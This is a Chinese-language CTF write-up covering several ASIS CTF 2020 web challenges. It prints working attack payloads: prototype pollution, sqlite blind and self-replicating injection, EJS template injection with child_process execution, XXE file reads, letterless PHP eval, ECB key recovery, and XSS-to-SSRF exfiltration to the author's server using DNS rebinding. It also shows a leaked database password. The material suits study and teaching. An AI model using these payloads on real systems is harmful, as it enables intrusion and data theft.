全是复现的,比赛时间和SCTF刚好冲突了,但是质量是真的彳亍
Admin Panel 考点:原型链污染 非常困难的sqlite注入 SSIT 难度:Very Hard
这个题是真的牛批 是一个Admin Panel的登录,但是不知道密码所以登录就会被AccessDenied,题目给了source code app.js
const express = require ('express' );const app = express();const session = require ('express-session' );const db = require ('better-sqlite3' )('./db.db' , {readonly : true });const cookieParser = require ("cookie-parser" );const FileStore = require ('session-file-store' )(session);const fs = require ('fs' );app.locals.flag = "REDACTED" app.use(express.static('static' )); app.use(cookieParser()); app.use(express.urlencoded({extended : false })); app.use(express.json()); app.set('views' , __dirname + '/views' ); app.set('view engine' , 'ejs' ); app.engine('html' , require ('ejs' ).renderFile); const server = app.listen(3000 , function ( ) { console .log("Server started on port 3000" ) }); app.use(session({ secret : 'REDACTED' ,resave : false ,saveUninitialized : true ,store : new FileStore({path : __dirname+'/sessions/' })})); const router = require ('./router/main' )(app, db, fs);
main.js
module .exports = function (app, db, fs ) { app.get('/' , function (req, res ) { res.render('index.html' ) }); app.post('/login' , function (req, res ) { var user = {}; var tmp = req.body; var row; if (typeof tmp.pw !== "undefined" ){ tmp.pw = tmp.pw.replace(/\\/gi ,'' ).replace(/\'/gi ,'' ).replace(/-/gi ,'' ).replace(/#/gi ,'' ); } for (var key in tmp){ user[key] = tmp[key]; } if (req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' typeof user.id === "undefined" ){ user.id = 'guest' ; } req.session.user = user.id; if (typeof user.pw !== "undefined" ){ row = db.prepare(`select pw from users where id='admin' and pw='${user.pw} '` ).get(); if (typeof row !== "undefined" ){ req.session.isAdmin = (row.pw === user.pw); }else { req.session.isAdmin = false ; } if (req.session.isAdmin && req.session.user === 'admin' ){ res.statusCode = 302 ; res.setHeader('Location' ,'admin' ); res.end(); }else { res.end("Access Denied!" ); } }else { res.end("No password given." ); } }); app.get('/admin' , function (req, res ) { if (typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin' ){ if (typeof req.query.test !== "undefined" ){ res.render(req.query.test); }else { res.render("admin.html" ); } }else { res.end("Access Denied!" ); } }); app.post('/upload' , function (req, res ) { if (typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin' ){ if (typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined" ){ var fname = req.body.name; var dir = './views/upload/' +req.session.id; var contents = req.body.file; !fs.existsSync(dir) && fs.mkdirSync(dir); fs.writeFileSync(dir+'/' +fname, contents); res.end("Done." ); }else { res.end("Something's wrong" ); } }else { res.end("Permission Denied!" ); } }); }
可以看一下登录的代码,对pw
有一个安全检查,其中将所有的\
'
-
#
都替换为空。之后有个名为user
的对象,遍历req.body
并将里面的值存进user
。之后会带着pw
进行一个sql查询,这里或许可能造成注入,但是pw
和sql结果中查询出的pw
必须完全相等才能设置isAdmin
这个session标记为True
,否则false
。如果isAdmin
为True
,则可以进入管理员账户。
继续跟进,如果登录为管理员账户,则可以访问admin.html,并且可以拥有上传功能。 这里有一个逻辑矛盾需要我们解决,分析后文代码可知我们的用户名必须是admin,然而如果输入admin就会被强制修改为guest:
if (req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' typeof user.id === "undefined" ){ user.id = 'guest' ; }
Prototype Pollution
漏洞代码出在了这里,这是一段无论id
或pw
是否为undefined
都一定会执行的代码:
for (var key in tmp){ user[key] = tmp[key]; }
我们知道,Post上传接收数据有多种方式,最常用的是urlencode,其次是json,比如hackbar的POST支持这三种Content-Type
注意到题目正好也是通过app.use(express.json());
来支持json的。那么我们同样也可以用json来提交id和pw,一样的效果。程序的运行大概是这样:
而用了JSON,一个合格的WEB CTF选手应该对此能够足够敏感,因为JSON里是可以嵌套的,比如{"a":{"b":"c"}}
,而这种形式的JSON对于本题目代码来讲并不会产生任何问题。这样的话这个for
循环遍历时var key
就是object
类型而不再是String
了
那么这有什么用?再回去看漏洞代码,遍历了tmp
后挨个元素赋值给user
,这就可以造成原型链污染。 如果POST的req.body
这个JSON中包含了__proto__
,然后又通过for
循环遍历给了user
,会怎么样?可以自己本地调试
var express = require ('express' );const app = express();app.use(express.urlencoded({extended : false })); app.use(express.json()); app.route('/login' ) .post( function (req, res ) { var user = {}; var tmp = req.body; console .log("\nreq.body:" ) console .log(req.body) var row; if (typeof tmp.pw !== "undefined" ){ console .log("waf replace" ) tmp.pw = tmp.pw.replace(/\\/gi ,'' ).replace(/\'/gi ,'' ).replace(/-/gi ,'' ).replace(/#/gi ,'' ); } for (var key in tmp){ user[key] = tmp[key]; } console .log("user:" ) console .log(user) res.send("ok" ) }); const server = app.listen(3000 , function ( ) { console .log("Server started on port 3000" ) });
因为Hackbar会在json里加入一些垃圾数据,所以我们直接用requests模块
#!/usr/ bin/env python3 #-*- coding:utf-8 -*- #__author__: 颖奇L'Amore www.gem-love.com import requests as req import json HOST = "http://127.0.0.1:3000/login" proxies={' http':' http:headers = {"Content-Type" : "application/json" } data = { "__proto__" : {"id" :"admin" , "pw" :"y1ng'#" }} json_data = json.dumps(data, sort_keys=False, separators=(',' , ': ' )) print(json_data) req.post(HOST, data=json_data, headers=headers)
可以发现并没有console.log("waf replace")
,因为tmp只有__proto__
这么一个键,并没有pw
,所以tmp.pw
是undefined
,就不会进去if
里进行replace()
,这意味着我们成功bypass了waf;另外还可以看到输出的user是{}
,并没有任何东西,难道for(var key in tmp) user[key] = tmp[key];
这个for
循环不会把user复刻成tmp
一样吗?继续调试 可以看到,user
虽然是个空object
,但是user.__proto__
已经不再为空。在访问user.pw
时,因为pw
不存在,于是就回去它的prototype
去寻找,于是找到了pw
属性
当然,现在就已经能够成功伪造user.id成admin了,设置user.id为guest的if并没有进入,而且直接进入了执行SQL的操作。
第一步原型链污染来伪造id为admin就做完了。
Hard SQL
然而,想要成为admin还需要设置session.isAdmin
为True
,这需要进行sql操作:
row = db.prepare(`select pw from users where id='admin' and pw='${user.pw} '` ).get(); if (typeof row !== "undefined" ){ req.session.isAdmin = (row.pw === user.pw); }
由题目代码const db = require('better-sqlite3')('./db.db', {readonly: true});
可知题目使用的是sqlite数据库 上面已经bypass了replace()
的waf,现在就可以实现sql注入了,因为想要让输入的pw和sql查询出来的pw完全相等实在是太难了。 想要注入实际上也不是很简单,因为只要sql语法没出错,回显就一样的:
不过我们可以构造时间盲注,如果是时间盲注的话,因为sqlite并没有像mysql的sleep()
那样的直接延时函数,我们只能通过让它运算更长时间来达到延时的目的,也就是Heavy Query的思路
randomblob(
N)
返回一个 N 字节长的包含伪随机字节的 BLOG, N 应该是正整数
关于randomblob()
这个函数,实际上还有更有意思的东西:如果长度N过长就会出现Error
这意味着,我们可以通过randomblob()
来特意构造一个Error,而题目如果sql语句查询出现Error是会不同回显的,这样我们就能实现Bool-Based Blind SQLi了
当然我们必须“选择性”触发这个Error,不然不就全程Error的回显了吗,sqlite在条件语句方面和PostgreSQL的语法完全一致,所以我们可以这样构造payload来布尔盲注:
{"\_\_proto\_\_" : {"id" : "admin" ,"pw" : "y1ng' union select case when (条件) then (select randomblob(100000000000000)) else 1 end--" }}
但是这个方法也有缺点,比如只有在联合查询时才能选择性触发Error,如果union
换成and
或者or
(当然其他部分也得稍作改动),在这种子句构成的布尔表达式中便不会触发Error了。 因为是完全的Bypass了waf,无任何过滤,盲注起来就很方便了,substr()
的用法和mysql等数据库完全一致:
所以就直接挨个爆破就好了,查询数据也非常方便因为表名什么的都是给了的,也可以参考Cheat Sheet里的这个payload:
and (SELECT hex(substr (tbl\_name,1 ,1 )) FROM sqlite\_master WHERE type \='table' and tbl\_name NOT like 'sqlite\_%' limit 1 offset 0 ) \> hex('some\_char' )
然而实际上你会发现你什么都跑不出来,并不是payload的问题,原因是数据库里本来就是空的! Error触发说明条件处的布尔表达式是True
,进而说明count(*) from users
为0,其中COUNT()
函数是用来计算一个数据库表中的行数
文章写到这,实际上这题刚做完了一小半。数据库里没有东西,意味着永远也不可能输入正确的pw了,也就是说永远不可能成功伪造成admin 除非row.pw === user.pw
返回True
!再次回看代码:
row = db.prepare(`select pw from users where id='admin' and pw='${user.pw} '` ).get(); if (typeof row !== "undefined" ){ req.session.isAdmin = (row.pw === user.pw); }else { req.session.isAdmin = false ; }
刚刚我们去尝试往出注密码是因为默认了这个row.pw === user.pw
根本不可能成立,现在看来必须要想办法让它成立了 这种考点确实牛逼,第一次见,需要让sql查询结果和sql语句完全相等,肯定需要让字符串重复输出,然后利用替换等来满足这个要求。参考文末链接4 replace(hex(zeroblob(X)),hex(zeroblob(1)),'string')
的结果是'string'*X
利用这个思路,通过把一些SQL语句写进字符串来实现,其中为了避免引号转义问题利用char(39)
来代替,而sqlite中字符串的连接可以通过来实现
于是得到:
Payload :' Union select replace(hex(zeroblob(2 )),hex(zeroblob(1 )), char(39 )' Union select replace(hex(zeroblob(2 )),hex(zeroblob(1 )), char(39 )')--Generates :' Union select replace(hex(zeroblob(2 )),hex(zeroblob(1 )), char(39 )' Union select replace(hex(zeroblob(2 )),hex(zeroblob(1 )), char(39 )
可以发现后面的')--
没有了,这个也得被重复,所以还得再套一层:
Payload :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)' Union select replace (hex (zeroblob (2 )),hex (zeroblob (1 )), char (39 )')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)' )replace (hex (zeroblob (3 )),hex (zeroblob (1 )),char (39 )')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)' )--')--' )-- Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)' Union select replace (hex (zeroblob (2 )),hex (zeroblob (1 )), char (39 )')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)' )replace (hex (zeroblob (3 )),hex (zeroblob (1 )),char (39 )')replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)' )--')--' )--
现在,终于能够伪造admin了,登陆成功就会跳转:
if (req.session .isAdmin && req.session .user === 'admin' ){ res.statusCode = 302 ; res.setHeader('Location' ,'admin' ); res.end (); }
ejs模板注入
没想到吧!题目做到这还没做完! 我们先来看下代码,首先接收一个test参数并用来渲染模板,否则是默认的admin.html
app.get('/admin' , function (req, res ) { if (typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin' ){ if (typeof req.query.test !== "undefined" ){ res.render(req.query.test); }else { res.render("admin.html" ); } }else { res.end("Access Denied!" ); } });
上传则是提供了一个上传功能,使用session.id来创建一个目录并把上传的文件存在下面
app.post('/upload' , function (req, res ) { if (typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin' ){ if (typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined" ){ var fname = req.body.name; var dir = './views/upload/' +req.session.id; var contents = req.body.file; !fs.existsSync(dir) && fs.mkdirSync(dir); fs.writeFileSync(dir+'/' +fname, contents); res.end("Done." ); }else { res.end("Something's wrong" ); } }else { res.end("Permission Denied!" ); } });
代码的逻辑非常明显,我们上传SSTI的模板文件然后被渲染然后RCE,注意到题目的如下代码
app.set('view engine' , 'ejs' ); app.engine('html' , require ('ejs' ).renderFile);
ejs是js的一个模板,不懂的可以去看看EJS中文文档:
https://ejs.bootcss.com/
虽然网上基本没啥相关payload,它不像Jinja2,实际上就直接Nodejs的代码执行就好了。payload:
<%- global.process.mainModule.require(‘child_process’).execSync(‘cat app.js’) %>
当然这是通解,本题目因为flag存在app.locals,所以ejs渲染时候可以直接读取,<%=flag%>
就可以了 题目没有上传按钮,我们自己本地写个Form上传就好了,问题在于它并没有给回显路径
分析代码,上传的文件的路径是'./views/upload/' + req.session.id + '/y1ng.html'
,所以这个session.id
是什么 首先拿出我们的cookie并url解码,s:
到.
中间的部分就是session.id
,至于为什么就要去啃源码,具体的啃源码分析过程建议参考文末的链接3,
connect .sid=s:7 T-DLMSPuGOvFqEdMnCdVHYUjdb3 wmxq.ubdBBNsufG1 NzrzLwT2 Qcizni6 z8 q4 SMcXUHA/HP3 F0
带上test
参数传进去我们上传的模板来渲染导致RCE然后读文件即可得到flag
这题实在是太牛逼了,太牛逼了
Treasury #1 & Treasury #2 - Part 1 考点:Javascipt、SQL注入、XXE 难度:中等
是一个书店,每个书都有2个按钮可以点,AE点了就弹出一个Excerpt窗口,但并没有产生什么新请求,考虑使用了AJAX
HTML源代码注意到treasury.js,访问,得到关键代码:
async function anexcerpt (book ) { const modalEl = document .createElement('div' ); modalEl.style.width = '70%' ; modalEl.style.height = '50%' ; modalEl.style.margin = '100px auto' ; modalEl.style.backgroundColor = '#fff' ; modalEl.className = 'mui-panel' ; const header = document .createElement('h2' ); header.appendChild(document .createTextNode("An Excerpt From " + book.name)); modalEl.appendChild(header); const loading = createSpinner(modalEl); mui.overlay('on' , modalEl); const response = await fetch('books.php?type=excerpt&id=' + book.id); const bookExcerpt = await response.text(); const txtHolder = document .createElement('div' ); txtHolder.className = 'mui-textfield mui--z2' const txt = document .createElement('textarea' ); txt.appendChild(document .createTextNode(bookExcerpt)); txt.readOnly = true ; txt.style.height = "100%" ; txtHolder.appendChild(txt); txtHolder.style.height = "70%" ; loading.stop(); modalEl.appendChild(txtHolder); }
发现fetch('books.php?type=excerpt&id=' + book.id);
后面接了book id,访问测试发现id存在sql注入。并且使用了xml,simplexml_load_string()
函数转换形式良好的 XML 字符串为 SimpleXMLElement
对象。 可以得到回显:
Table: books id =1' and 1 =2 union select group\_concat(table\_name) from information\_schema.tables where table\_schema =database()--+#Column: id,info id =1' and 1 =2 union select group\_concat(column\_name) from information\_schema.columns where table\_schema =database()--+#
之后就查不到更多信息了,说明flag不在数据库里。注意到题目使用了simplexml_load_string()
,我们可以通过构造XML来xxe
id=1'and 1=2 union select '<root> <id> 1</id> <excerpt> abc</excerpt> </root> '--+
回显了abc,因此可以通过注入excerpt字段来XXE。用HackBar测试了一会总是出错,考虑是URL编码的问题,用requests模块,文件读取
import requests as reqfrom urllib.parse import quote as urlenHOST = "https://poems.asisctf.com/books.php?type=excerpt&id=1'and 1=2 " payload = '''union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "file:///flag">]><root><excerpt>&xxe;</excerpt></root>'-- #''' payload = urlen(payload) r = req.get(HOST+payload) print (r.text)
得到flag:ASIS{03482b1821398ccb5214d891aed35dc87d3a77b2} 结果这个是#2的flag,#1的flag居然比#2更难拿,无语了
Treasury #1 & Treasury #2 - Part 2 xxe+伪协议得到books.php源码
<?php sleep(1 ); function connect_to_database ( ) { $link = mysqli_connect("web4-mariadb" , "ctfuser" , "dhY#OThsdivojq2" , "ASISCTF" ); if (!$link ) { echo "Error: Unable to connect to DB." ; exit ; } return $link ; } function fetch_books ($condition ) { $link = connect_to_database(); if ($condition === "" ) { $where_condition = "" ; } else { $where_condition = "WHERE $condition " ; } $query = "SELECT info FROM books $where_condition " ; if ($result = mysqli_query($link , $query , MYSQLI_USE_RESULT)) { $books_info = array (); while ($row = $result ->fetch_array(MYSQLI_NUM)) { $books_info [] = (string ) $row [0 ]; } mysqli_free_result($result ); } mysqli_close($link ); return $books_info ; } function xml2array ($xml ) { return array ( 'id' => (string ) $xml ->id, 'name' => (string ) $xml ->name, 'author' => (string ) $xml ->author, 'year' => (string ) $xml ->year, 'link' => (string ) $xml ->link ); } function get_all_books ( ) { $books = array (); $books_info = fetch_books("" ); foreach ($books_info as $info ) { $xml = simplexml_load_string($info , 'SimpleXMLElement' , LIBXML_NOENT); $books [] = xml2array($xml ); } return $books ; } function find_book ($condition ) { $book_info = fetch_books($condition )[0 ]; $xml = simplexml_load_string($book_info , 'SimpleXMLElement' , LIBXML_NOENT); return $xml ; } $type = @$_GET ["type" ];if ($type === "list" ) { $books = get_all_books(); echo json_encode($books ); } elseif ($type === "excerpt" ) { $id = @$_GET ["id" ]; $book = find_book("id='$id '" ); $bookExcerpt = $book ->excerpt; echo $bookExcerpt ; } else { echo "Invalid type" ; }
分析源码可知,题目从数据库查询了书籍的相关信息,然后利用simplexml_load_string()
得到了一个SimpleXMLElement
对象,最后输出了这个SimpleXMLElement
对象的excerpt属性。 flag并没有在源代码,于是就很想知道到底从数据库中都查询了什么出来,因为题目只是选择性的输出了<excerpt></excerpt>
的内容。这个考点实在是有点东西,不愧是国际带比赛,使用mysql的替换函数剥去XML标签然后显示在<excerpt></excerpt>
中,即可得到完整内容
payload:
union select concat('<root><id>4</id><excerpt>' ,replace((select group \_concat(id,info ) from books),'<' ,'?' ),'</excerpt></root>' )
这道题我给打满分,出题人真的彳亍
Warm-up 考点:老生常谈的无字母RCE 难度:简单
<?php if (isset ($_GET ['view-source' ])){ highlight_file(__FILE__ ); die (); } if (isset ($_GET ['warmup' ])){ if (!preg_match('/[A-Za-z]/is' ,$_GET ['warmup' ]) && strlen($_GET ['warmup' ]) <= 60 ) { eval ($_GET ['warmup' ]); }else { die ("Try harder!" ); } }else { die ("No param given" ); }
虽然题目可以用数字,但是完全没必要。payload:
$\_="\`{{{" ^"?<>/" ;${$\_}\[\_\](${$\_}\[\_\_\]);
http://69.90.132.196:5003/?warmup=$\_="\`{{{"^"?<>/";${$\_}\ [\_\ ](${$\_}\[\_\_\]);&\_=readfile&\_\_=flag.php
另外还看到了一种读文件的payload,收藏了
$_ ="@:>;963:" ^"2_______" ; $__ ="____" ^"830=" ; $_ ($__ ('*' )[0 ]);
PyCrypto 考点:AES加密、XSS、SSRF、CORS 难度:困难
这题是个webcrypto,除去密码部分,web还是非常简单的,如果当年好好做了安恒五月赛的notes那个XSS+SSRF的话,这种题都能拿payload直接秒 app.py
from Crypto.Cipher import AESfrom flask import Flask, request, render_template, sessionfrom flask_csp.csp import csp_headerimport sqlite3from hashlib import sha256import markdown2from selenium import webdriverfrom socket import gethostbynamefrom urlparse import urlparseIP = "76.74.170.201" BLOCK_SIZE = 32 pad = lambda s: s + (BLOCK_SIZE - len (s) % BLOCK_SIZE) * chr (BLOCK_SIZE - len (s) % BLOCK_SIZE) key = "REDACTED" assert len (key) == 32 , "Key length error" aes = AES.new(key, AES.MODE_ECB) app = Flask(__name__) app.secret_key = "REDACTED" conn = sqlite3.connect('/app/user.db' , check_same_thread=False ) c = conn.cursor() def xor (msg1, msg2 ): res = '' for i in range (BLOCK_SIZE): res += chr (ord (msg1[i]) ^ ord (msg2[i])) return res def encrypt (plaintext ): plaintext = pad(plaintext) iv = pad("" ) ciphertext = "" for i in range (0 , len (plaintext), BLOCK_SIZE): iv = xor(aes.encrypt(plaintext[i:i+BLOCK_SIZE]),iv) ciphertext += iv return ciphertext.encode('hex' ) def decrypt (ciphertext ): return res @app.route('/' ) def index (): return "Welcome To my Web + Crypto Task!" @app.route('/api/login' , methods=['POST' ] ) def login (): try : user = request.form['id' ] pw = sha256(request.form['pw' ]).hexdigest() c.execute("select username from users where username=? and pw=?" , (user, pw)) res = c.fetchone() session['mycode' ] = encrypt(res[0 ]+key) return 'Done!' except : return "Error!" @app.route('/api/logout' ) def logout (): session.pop('mycode' ) return 'done!' @app.route('/api/register' , methods=['POST' ] ) def register (): try : user = request.form['id' ] pw = sha256(request.form['pw' ]).hexdigest() c.execute("INSERT INTO users(username, pw) VALUES (?,?)" ,(user, pw)) conn.commit() return 'register done!' except : return "Error!" @app.route('/myinfo' ) def info (): if 'mycode' in session: return session['mycode' ] else : return 'Plz Login' @app.route('/ticket' ) @csp_header({ "default-src" : "'self'" , "script-src" :"'self' 'unsafe-inline'" , "style-src" : "'self'" , "font-src" : "'self'" , "img-src" : "'self'" } )def view_post (): try : enc = request.args.get("msg" ) res_key = request.args.get("key" ) if res_key == key and request.remote_addr != '127.0.0.1' : res = decrypt(enc) return markdown2.markdown(res,safe_mode=True ) else : return "Key or Permission Error!" except : return "Something is wrong!" @app.route('/flag' ) def flag (): if request.remote_addr == "127.0.0.1" : return render_template("flag.html" ) else : return 'Only Admin can access!' @app.route('/submit' ) def submit (): url = request.args.get("url" ) try : host = urlparse(url).netloc try : host = host[:host.index(':' )] except : pass if gethostbyname(host) == IP: options = webdriver.ChromeOptions() options.add_argument('--headless' ) options.add_argument('--no-sandbox' ) options.add_argument('--disable-dev-shm-usage' ) driver = webdriver.Chrome(chrome_options=options, executable_path='/usr/local/bin/chromedriver' ) driver.implicitly_wait(30 ) driver.get(url) driver.quit() return "Done" else : return "Nop" except : return "URL Error" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
dockerfile:
FROM ubuntu:18.04 ENV DEBIAN_FRONTEND=noninteractive ENV APACHE_RUN_USER www-dataENV APACHE_RUN_GROUP www-dataRUN apt update RUN apt install -y wget RUN apt-get install -y gnupg2 RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub apt-key add - RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' RUN apt update RUN apt install -y google-chrome-stable RUN apt install -yqq unzip curl RUN wget -O /tmp/chromedriver.zip http://chromedriver.storage.googleapis.com/`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`/chromedriver_linux64.zip RUN unzip /tmp/chromedriver.zip chromedriver -d /usr/local /bin/ RUN apt install -y python python-pip RUN pip install flask==1.1.2 RUN pip install markdown2==2.3.8 RUN pip install pycrypto RUN pip install flask_csp RUN pip install selenium RUN apt install -y sqlite3 libsqlite3-dev RUN pip install pysqlite3 RUN apt install -y apache2 RUN apt install -y libapache2-mod-wsgi RUN a2enmod wsgi RUN mkdir -p /app WORKDIR /app ADD ./web/* ./ RUN mkdir templates RUN mv ./flag.html ./templates/ RUN mkdir logs RUN touch ./logs/error.log RUN touch ./logs/access.log ADD ./env/000-default.conf /etc/apache2/sites-available/ RUN chmod o+w /app RUN chown www-data: /app/user.db EXPOSE 8080
AES.MODE_ECB不太会,交给密码师傅来搞,参考GreyFang的脚本:
def getBlock (candidate ): register(candidate) result = unhexlify(getCipher(candidate)) iv1 = result[:32 ] return iv1 def cracker (): key = '' for i in range (len (key)+1 , 32 ): candidate = ('a' *(32 - i)) ref = getBlock(candidate) for p in string.printable: try : candidate = ('a' *(32 - i) + key) + p result = getBlock(candidate) if result == ref: key += p print ("Match Found!!!" , key) break except Exception as e: print ("Error Occured!" , e) return key
得到Key:"ASIS2020_W3bcrypt_ChAlLeNg3!@#%^"
/ticket中使用的md2,有一个老生常谈的XSS漏洞,前段时间BBCTF里还出现了这个考点,那个题的wp: https://www.gem-love.com/ctf/2254.html
flag需要本地访问,尽管有CSP,但是允许'unsafe-inline'
意味着我们可以执行javascript,那就用XMLHttpRequest
或者直接fetch()
一下flag实现SSRF然后通过window.location
把结果带出来就行了。 注意到/tickit中的代码接收了key和加密过的payload然后进行解密然后md
enc = request.args.get ("msg" ) res_key = request.args.get ("key" ) if res_key == key and request.remote_addr != '127.0.0.1' : res = decrypt(enc) return markdown2.markdown(res,safe_mode =True )
那么我们首先需要对payload进行加密,直接用它的源码改改就行了 get方式传上去就行了,可以发现JavaScript被成功触发并且把数据带去了我们的vps 然后就提交是bot了。在提交url给bot时还有个问题需要解决,这个和SCTF的Jsonhub一样,也是强制提交的url为公网ip开头,所以要想办法让它解析到127.0.0.1才行。题目使用了urlparse
,2017 Black Hat上Orange的议题明确表示Python urlparse并不能被abuse
但是这里这段代码未免也太奇怪的了
这个host最后能够获得题目的公网ip,但是最后访问却可以访问到其他任意主机
所以url应该是
http://76.74.170.201:[email protected] :8080/ticket?msg=payload&key=key
这个直接访问确实应该是访问到127.0.0.1:8080,但是一直打不通,是因为被SOP干掉了,因此,本题目还有最后一步 这里考了DNS Rebinding攻击,因为我们check host和访问host进行了两次DNS解析,这有时间差,利用这个时间差我们就可以实现用1个url即通过校验又在访问时访问到127.0.0.1 尝试使用这个工具 https://github.com/nccgroup/singularity/ 或者用现成的工具requestrepo之类的打一下就行了
References
https://github.com/networknerd/CTF\_Writeups/blob/master/2020/ASISCTF\_2020/Web/WebWarmup/README.md https://github.com/saw-your-packet/ctfs/blob/master/ASIS%20CTF%20Quals%202020/Write-ups.md https://drive.google.com/file/d/16YW4JjdcAbFSzDbECy4wA8IDDA-hxC2i/view?usp=sharing https://github.com/TeamGreyFang/CTF-Writeups/tree/master/AsisCTF2020